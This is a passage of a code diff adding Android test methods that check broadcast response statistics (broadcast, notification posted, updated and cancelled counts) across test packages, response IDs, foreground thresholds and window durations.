+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send the broadcast again after clearing counts and verify counts get incremented
+ // as expected.
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 1 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @MediumTest
+ @Test
+ public void testBroadcastResponseStats_changeResponseWindowDuration() throws Exception {
+ final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(2);
+ try (DeviceConfigStateHelper deviceConfigStateHelper =
+ new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+ String.valueOf(broadcastResponseWindowDurationMs));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ SystemClock.sleep(broadcastResponseWindowDurationMs);
+
+ // Trigger a notification from test app but verify counts do not get
+ // incremented as the notification is posted after the window durations is expired.
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_appNotInForeground() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ try (DeviceConfigStateHelper deviceConfigStateHelper =
+ new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
+ String.valueOf(ActivityManager.PROCESS_STATE_TOP));
+
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Bring the test app to the foreground, send the broadcast again and verify that
+ // counts do not change.
+ launchTestActivityAndWaitToBeResumed(TEST_APP_PKG, TEST_APP_CLASS);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Change the threshold to something lower than TOP, send the broadcast again
+ // and verify that counts get incremented.
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
+ String.valueOf(ActivityManager.PROCESS_STATE_PERSISTENT));
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 1 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUiDevice.pressHome();
+ // Change the threshold to a process state higher than RECEIVER, send the
+ // broadcast again and verify that counts do not change.
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE,
+ String.valueOf(ActivityManager.PROCESS_STATE_HOME));
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 1 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_multiplePackages() throws Exception {
+ final ArrayMap<String, BroadcastResponseStats> expectedStats = new ArrayMap<>();
+ // Initially all the counts should be empty
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+ final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+ final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+ final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
+ try {
+ ITestReceiver testReceiver1 = connection1.getITestReceiver();
+ ITestReceiver testReceiver3 = connection3.getITestReceiver();
+ ITestReceiver testReceiver4 = connection4.getITestReceiver();
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ testReceiver4.cancelAll();
+
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent3 = new Intent().setComponent(new ComponentName(
+ TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent4 = new Intent().setComponent(new ComponentName(
+ TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+
+ // Send a broadcast to test-pkg1 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ expectedStats.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+
+ // Send a broadcast to test-pkg3 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent3, options.toBundle());
+ expectedStats.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStats.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+
+ // Trigger a notification from test-pkg1 and verify notification-posted count gets
+ // incremented.
+ testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ expectedStats.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+
+ // Trigger a notification from test-pkg3 and verify notification-posted count gets
+ // incremented.
+ testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ expectedStats.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+ // Send a broadcast to test-pkg1 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+ expectedStats.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStats.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+ // Trigger a notification from test-pkg3 and verify stats remain the same
+ testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+ // Send a broadcast to test-pkg4 with a request to record response and verify
+ // broadcast-send count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent4, options.toBundle());
+ testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
+ expectedStats.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStats.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStats.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+ mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
+ expectedStats.clear();
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStats);
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ testReceiver4.cancelAll();
+ } finally {
+ connection1.unbind();
+ connection3.unbind();
+ connection4.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_multiplePackages_multipleIds() throws Exception {
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+ // Initially all the counts should be empty
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+ final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+ final TestServiceConnection connection4 = bindToTestServiceAndGetConnection(TEST_APP4_PKG);
+ try {
+ ITestReceiver testReceiver1 = connection1.getITestReceiver();
+ ITestReceiver testReceiver3 = connection3.getITestReceiver();
+ ITestReceiver testReceiver4 = connection4.getITestReceiver();
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ testReceiver4.cancelAll();
+
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent3 = new Intent().setComponent(new ComponentName(
+ TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent4 = new Intent().setComponent(new ComponentName(
+ TEST_APP4_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+
+ final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+ options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+ options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+ // Send a broadcast to test-pkg1 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+ // Trigger a notification from test-pkg1 and verify notification-posted count gets
+ // incremented.
+ testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastEvents();
+ // Trigger a notification from test-pkg4 and verify notification-posted count gets
+ // incremented.
+ testReceiver4.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver4.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ sendBroadcastAndWaitForReceipt(intent4, options2.toBundle());
+ expectedStatsForId2.put(TEST_APP4_PKG, new BroadcastResponseStats(TEST_APP4_PKG,
+ TEST_RESPONSE_STATS_ID_2));
+ expectedStatsForId2.get(TEST_APP4_PKG).incrementBroadcastsDispatchedCount(1);
+
+ testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ testReceiver4.cancelNotification(TEST_NOTIFICATION_ID_1);
+ expectedStatsForId2.get(TEST_APP4_PKG).incrementNotificationsCancelledCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastResponseStats(null, TEST_RESPONSE_STATS_ID_1);
+ expectedStatsForId1.clear();
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ testReceiver4.cancelAll();
+ } finally {
+ connection1.unbind();
+ connection3.unbind();
+ connection4.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_clearCounts_multiplePackages() throws Exception {
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+ // Initially all the counts should be empty
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+ final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+ try {
+ ITestReceiver testReceiver1 = connection1.getITestReceiver();
+ ITestReceiver testReceiver3 = connection3.getITestReceiver();
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent3 = new Intent().setComponent(new ComponentName(
+ TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+ options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+ options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+ testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+
+ // Send a broadcast to test-pkg1 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
+
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+ expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+ testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+ expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_2));
+ expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
+
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
+ TEST_RESPONSE_STATS_ID_1);
+ expectedStatsForId1.clear();
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */,
+ TEST_RESPONSE_STATS_ID_2);
+ expectedStatsForId2.clear();
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ } finally {
+ connection1.unbind();
+ connection3.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_clearCounts_multipleIds() throws Exception {
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+ // Initially all the counts should be empty
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+ final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+ try {
+ ITestReceiver testReceiver1 = connection1.getITestReceiver();
+ ITestReceiver testReceiver3 = connection3.getITestReceiver();
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent3 = new Intent().setComponent(new ComponentName(
+ TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+ options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+ options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+ testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+
+ // Send a broadcast to test-pkg1 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
+
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
